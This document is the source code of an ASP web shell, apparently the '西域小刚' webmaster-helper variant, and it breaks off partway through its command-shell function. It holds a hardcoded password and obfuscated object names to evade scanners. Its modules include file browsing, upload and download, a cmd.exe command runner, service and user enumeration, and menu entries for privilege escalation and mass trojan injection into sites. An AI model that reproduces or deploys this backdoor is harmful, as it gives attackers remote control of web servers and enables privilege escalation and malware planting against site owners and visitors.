<%@ LANGUAGE = VBScript.Encode %> <% Server.ScriptTimeout=50000 Response.Buffer =False On Error Resume Next mName = "西域小刚-站长助手-修改版本" UserPass = "2034842" '登陆密码 URL = Request.ServerVariables("URL") ServerIP = Request.ServerVariables("LOCAL_ADDR") Action = Request("Action") RootPath = Server.MapPath(".") WWWRoot = Server.MapPath("/") FolderPath = Request("FolderPath") FName = Request("FName") BackUrl = "" sub ShowErr() If Err Then Response.Write"

 " & Err.Description & "

" Err.Clear:Response.Flush End If end sub Dim ObT(13,2) ObT(0,0) = "Sc"&DEfd&"rip"&DEfd&"ting"&DEfd&".F"&DEfd&"ileS"&DEfd&"yste"&DEfd&"mObj"&DEfd&"ect" ObT(0,2) = "文件操作组件" ObT(1,0) = "w"&DEfd&"sc"&DEfd&"ri"&DEfd&"pt.s"&DEfd&"he"&DEfd&"ll" ObT(1,2) = "命令行执行组件" ObT(2,0) = "ADOX.Catalog" ObT(2,2) = "ACCESS建库组件" ObT(3,0) = "JRO.JetEngine" ObT(3,2) = "ACCESS压缩组件" ObT(4,0) = "Scrip"&DEfd&"ting"&DEfd&".D"&DEfd&"icti"&DEfd&"onary" ObT(4,2) = "数据流上传辅助组件" ObT(5,0) = "Adodb.connection" ObT(5,2) = "数据库连接组件" ObT(6,0) = "Ado"&DEfd&"d"&DEfd&"b"&DEfd&".S"&DEfd&"tre"&DEfd&"am" ObT(6,2) = "数据流上传组件" ObT(7,0) = "SoftArtisans.FileUp" ObT(7,2) = "SA-FileUp 文件上传组件" ObT(8,0) = "LyfUpload.UploadFile" ObT(8,2) = "刘云峰文件上传组件" ObT(9,0) = "Persits.Upload.1" ObT(9,2) = "ASPUpload 文件上传组件" ObT(10,0) = "JMail.SmtpMail" ObT(10,2) = "JMail 邮件收发组件" ObT(11,0) = "CDONTS.NewMail" ObT(11,2) = "虚拟SMTP发信组件" ObT(12,0) = "SmtpMail.SmtpMail.1" ObT(12,2) = "SmtpMail发信组件" ObT(13,0) = "Microsoft.XMLHTTP" ObT(13,2) = "数据传输组件" For i=0 To 13 Set T=Server.CreateObject(ObT(i,0)) If -2147221005 <> Err Then IsObj=True Else IsObj=false Err.Clear End If Set T=Nothing ObT(i,1)=IsObj Next Function RePath(S) RePath=Replace(S,"\","\\") End Function Function RRePath(S) RRePath=Replace(S,"\\","\") End Function If FolderPath<>"" then Session("FolderPath")=RRePath(FolderPath) End If If Session("FolderPath")="" Then FolderPath=RootPath Session("FolderPath")=FolderPath End if Function MainForm() SI="
" SI=SI&"" SI=SI&"" SI=SI&"
" SI=SI&"" SI=SI&"" SI=SI&"
" SI=SI&"" SI=SI&"" SI=SI&"
地址栏:" SI=SI&"" SI=SI&"" SI=SI&"
" SI=SI&"" SI=SI&"" SI=SI&"
" Response.Write SI End Function Function MainMenu() SI="" SI=SI&"" SI=SI&"" If Not ObT(0,1) Then SI=SI&"" Else Set ABC=New LBF:SI=SI&ABC.ShowDriver():Set ABC=Nothing SI=SI&"" SI=SI&"" SI=SI&"" SI=SI&"" SI=SI&"" SI=SI&"" End If Response.Write SI:SI="" SI=SI&"" SI=SI&"" SI=SI&"" SI=SI&"" SI=SI&"" SI=SI&"" SI=SI&"" SI=SI&"" SI=SI&"" SI=SI&"" SI=SI&"" SI=SI&"" SI=SI&"" SI=SI&"" SI=SI&"
 " SI=SI&"FSO文件操作模块" SI=SI&"
    " SI=SI&"C:\Progra~1" SI=SI&"
    " SI=SI&"C:\Docume~1" SI=SI&"
    " SI=SI&"站点根目录" SI=SI&"
    " SI=SI&"本程序目录" SI=SI&"
    " SI=SI&"新建目录" SI=SI&"
    " SI=SI&"新建文本" SI=SI&"
    " SI=SI&"文件上传模块" SI=SI&"
 " SI=SI&"数据库操作模块" SI=SI&"
    " SI=SI&"建立MDB文件" SI=SI&"
    " SI=SI&"数据库操作" SI=SI&"
    " SI=SI&"压缩MDB文件" SI=SI&"
 " SI=SI&"命令行模块" SI=SI&"
 " SI=SI&"系统服务列表" SI=SI&"
 " SI=SI&"服务器信息" SI=SI&"
 " SI=SI&"查找木马" SI=SI&"
 " SI=SI&"直接提权" SI=SI&"
 " SI=SI&"批量挂马" SI=SI&"
 " SI=SI&"退出登录" SI=SI&"
 " SI=SI&"西域小刚" SI=SI&"
" SI=SI&"
 ASP
 by ASP QQ:西域小刚" SI=SI&"
" Response.Write SI : SI="" End Function Function Course() SI="
" SI=SI&"" on error resume next for each obj in getObject("WinNT://.") err.clear if OBJ.StartType="" then SI=SI&"" SI=SI&"" SI0="" end if if OBJ.StartType=2 then lx="自动" if OBJ.StartType=3 then lx="手动" if OBJ.StartType=4 then lx="禁用" if LCase(mid(obj.path,4,3))<>"win" and OBJ.StartType=2 then SI1=SI1&"" else SI2=SI2&"" end if next Response.Write SI&SI0&SI1&SI2&"
系统用户与服务
 " SI=SI&obj.Name SI=SI&" " SI=SI&"系统用户(组)" SI=SI&"
 
 "&obj.Name&" "&obj.DisplayName&"
[启动类型:"&lx&"] "&obj.path&"
 "&obj.Name&" "&obj.DisplayName&"
[启动类型:"&lx&"] "&obj.path&"
" End Function Function ServerInfo() SI="
" SI=SI&"" SI=SI&"" SI=SI&"" SI=SI&"" SI=SI&"" SI=SI&"" SI=SI&"" For i=0 To 13 SI=SI&"" Next Response.Write SI End Function Function DownFile(Path) Response.Clear Set OSM = CreateObject(ObT(6,0)) OSM.Open OSM.Type = 1 OSM.LoadFromFile Path sz=InstrRev(path,"\")+1 Response.AddHeader "Content-Disposition", "attachment; filename=" & Mid(path,sz) Response.Charset = "UTF-8" Response.ContentType = "application/octet-stream" Response.BinaryWrite OSM.Read Response.Flush OSM.Close Set OSM = Nothing End Function Function HTMLEncode(S) if not isnull(S) then S = replace(S, ">", ">") S = replace(S, "<", "<") S = replace(S, CHR(39), "'") S = replace(S, CHR(34), """) S = replace(S, CHR(20), " ") HTMLEncode = S end if End Function Function UpFile() If Request("Action2")="Post" Then Set U=new UPC : Set F=U.UA("LocalFile") UName=U.form("ToPath") If UName="" Or F.FileSize=0 then SI="
请输入上传的完全路径后选择一个文件上传!" Else F.SaveAs UName If Err.number=0 Then SI="



文件"&UName&"上传成功!
" End if End If Set F=nothing:Set U=nothing SI=SI&BackUrl Response.Write SI ShowErr() Response.End End If SI="


服务器组件信息
服务器名 "&request.serverVariables("SERVER_NAME")&"
服务器IP " SI=SI&"
服务器时间 "&now&" 
服务器CPU数量 "&Request.ServerVariables("NUMBER_OF_PROCESSORS")&"
服务器操作系统 "&Request.ServerVariables("OS")&"
WEB服务器版本 "&Request.ServerVariables("SERVER_SOFTWARE")&"
"&ObT(i,0)&""&ObT(i,1)&""&ObT(i,2)&"
" SI=SI&"" SI=SI&"
" SI=SI&"上传路径: " SI=SI&"" SI=SI&"" SI=SI&"
" Response.Write SI End Function Function Cmd1Shell() If Request("SP")<>"" Then Session("ShellPath") = Request("SP") ShellPath=Session("ShellPath") if ShellPath="" Then ShellPath = "cmd.exe" if Request("wscript")="yes" then checked=" checked" else checked="" end if If Request("cmd")<>"" Then DefCmd = Request("cmd") SI="
" SI=SI&"